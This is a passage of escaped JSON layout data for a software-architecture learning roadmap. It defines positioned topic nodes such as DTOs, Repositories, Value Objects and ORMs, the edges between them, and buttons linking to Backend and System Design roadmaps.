},\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -562.1381872719935,\n        \"y\": 2106.767265734465\n      }\n    },\n    {\n      \"id\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1975.839200216446\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Enterprise Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -289.3282213632988,\n        \"y\": 1975.839200216446\n      }\n    },\n    {\n      \"id\": \"y_Qj7KITSB8aUWHwiZ2It\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1711.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"DTOs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1711.8012136557593\n      }\n    },\n    {\n      \"id\": \"tb0X1HtuiGwz7YhQ5xPsV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1764.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Identity Maps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1764.8012136557593\n      }\n    },\n    {\n      \"id\": \"gQ7Xj8tsl6IlCcyJgSz46\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1817.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1817.8012136557593\n      }\n    },\n    {\n      \"id\": \"8y0ot5sbplUIUyXe9gvc8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1870.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Repositories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1870.8012136557593\n      }\n    },\n    {\n      \"id\": \"ndUTgl2YBzOdu1MQKJocu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1923.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mappers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1923.8012136557593\n      }\n    },\n    {\n      \"id\": \"tyReIY4iO8kmyc_LPafp1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1976.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Transaction Script\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 1976.8012136557593\n      }\n    },\n    {\n      \"id\": \"j_SUD3SxpKYZstN9LSP82\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2029.8012136557593\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Commands / Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2029.8012136557593\n      }\n    },\n    {\n      \"id\": \"Ks6njbfxOHiZ_TrJDnVtk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2082.8012136557595\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Value Objects\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2082.8012136557595\n      }\n    },\n    {\n      \"id\": \"NpSfbzYtGebmfrifkKsUf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2135.8012136557595\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Domain Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2135.8012136557595\n      }\n    },\n    {\n      \"id\": \"VnW_7dl5G0IFL9W3YF_W3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2188.8012136557595\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Entities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SYYulHfDceIyDkDT5fcqj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2188.8012136557595\n      }\n    },\n    {\n      \"id\": \"SYYulHfDceIyDkDT5fcqj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2241.8012136557595\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ORMs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 240,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 240\n      },\n      \"measured\": {\n        \"width\": 240,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.23920485686646,\n        \"y\": 2241.8012136557595\n      }\n    },\n    {\n      \"id\": \"k_AR2YBSv077a6RwpCpZT\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -182.82822136329878,\n        \"y\": 2024.839200216446\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.55,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 240\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -182.82822136329878,\n        \"y\": 2024.839200216446\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 74,\n      \"id\": \"ef-jFKMs8jw3Ti94jem96\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -183.82822136329878,\n        \"y\": 2362.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"RLtk1C3gofHnLJ17x3o5b\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -183.82822136329878,\n        \"y\": 2362.6547713337786\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 74\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 74\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"0vLaVNJaJSHZ_bHli6Qzs\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -493.74416945365664,\n        \"y\": 2259.509113900669\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Continue learning with following roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"m9eO0jLGuR_9w2JJbe_g2\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -493.74416945365664,\n        \"y\": 2259.509113900669\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 477,\n        \"height\": 117\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"StxLh1r3qXqyRSqfJGird\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -482.1381872719935,\n        \"y\": 2313.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backend\",\n        \"href\": \"https://roadmap.sh/backend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"OIcmPSbdsuWapb6HZ4BEi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -482.1381872719935,\n        \"y\": 2313.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 229,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"OIcmPSbdsuWapb6HZ4BEi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -246.1381872719935,\n        \"y\": 2313.6547713337786\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"System Design\",\n        \"href\": \"https://roadmap.sh/system-design\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"cmSSwPPiiHwYh9ct14N6A\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -246.1381872719935,\n        \"y\": 2313.6547713337786\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"pd0_ffU8fTHcg_nLPae6W\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__HU7wZWiES3m3xl1-NYP6Fx2-JS5a5FraWCwfgwt8GAyc7w2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pd0_ffU8fTHcg_nLPae6W\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"08qKtgnhJ3tlb5JKfTDf5\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__pd0_ffU8fTHcg_nLPae6Wx2-h0aeBhQRkDxNeFwDxT4Tfw2\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"08qKtgnhJ3tlb5JKfTDf5\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__08qKtgnhJ3tlb5JKfTDf5x2-h0aeBhQRkDxNeFwDxT4Tfw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VhSEH_RoWFt1z2lial7xZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-VhSEH_RoWFt1z2lial7xZz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YswaOqZNYcmDwly2IXrTT\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-YswaOqZNYcmDwly2IXrTTz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"VZrERRRYhmqDx4slnZtdc\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-VZrERRRYhmqDx4slnZtdcz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TDhTYdEyBuOnDKcQJzTAk\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"HhYdURE4X-a9GVwJhAyE0\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__TDhTYdEyBuOnDKcQJzTAkx2-h0aeBhQRkDxNeFwDxT4Tfw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"9dMbo4Q1_Sd9wW6-HSCA9\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"Jd79KXxZavpnp3mtE1q0n\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__9dMbo4Q1_Sd9wW6-HSCA9z2-h0aeBhQRkDxNeFwDxT4Tfy1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"37xWxG2D9lVuDsHUgLfzP\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"dBq7ni-of5v1kxpdmh227\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-dBq7ni-of5v1kxpdmh227y1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"37xWxG2D9lVuDsHUgLfzP\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__37xWxG2D9lVuDsHUgLfzPx2-h0aeBhQRkDxNeFwDxT4Tfw1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Kk7u2B67Fdg2sU8E_PGqr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-Kk7u2B67Fdg2sU8E_PGqrz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"eJsCCURZAURCKnOK-XeQe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-eJsCCURZAURCKnOK-XeQez1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"-arChRC9zG2DBmuSTHW0J\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2--arChRC9zG2DBmuSTHW0Jz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"CD20zA6k9FxUpMgHnNYRJ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-CD20zA6k9FxUpMgHnNYRJz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"r-Yeca-gpdFM8iq7f0lYQ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-r-Yeca-gpdFM8iq7f0lYQz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5WSvAA3h3lmelL53UJSMy\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-5WSvAA3h3lmelL53UJSMyz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GAs6NHBkUgxan3hyPvVs7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-GAs6NHBkUgxan3hyPvVs7z1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"K8X_-bsiy7gboInPzbiEb\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-K8X_-bsiy7gboInPzbiEbz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"IU86cGkLPMXUJKvTBywPu\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfy2-IU86cGkLPMXUJKvTBywPuz1\",\n      \"selected\": false,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"gJYff_qD6XS3dg3I-jJFK\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"xy-edge__gJYff_qD6XS3dg3I-jJFKx2-h0aeBhQRkDxNeFwDxT4Tfw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"h0aeBhQRkDxNeFwDxT4Tf\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"tyReIY4iO8kmyc_LPafp1\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"xy-edge__h0aeBhQRkDxNeFwDxT4Tfz2-tyReIY4iO8kmyc_LPafp1y1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": 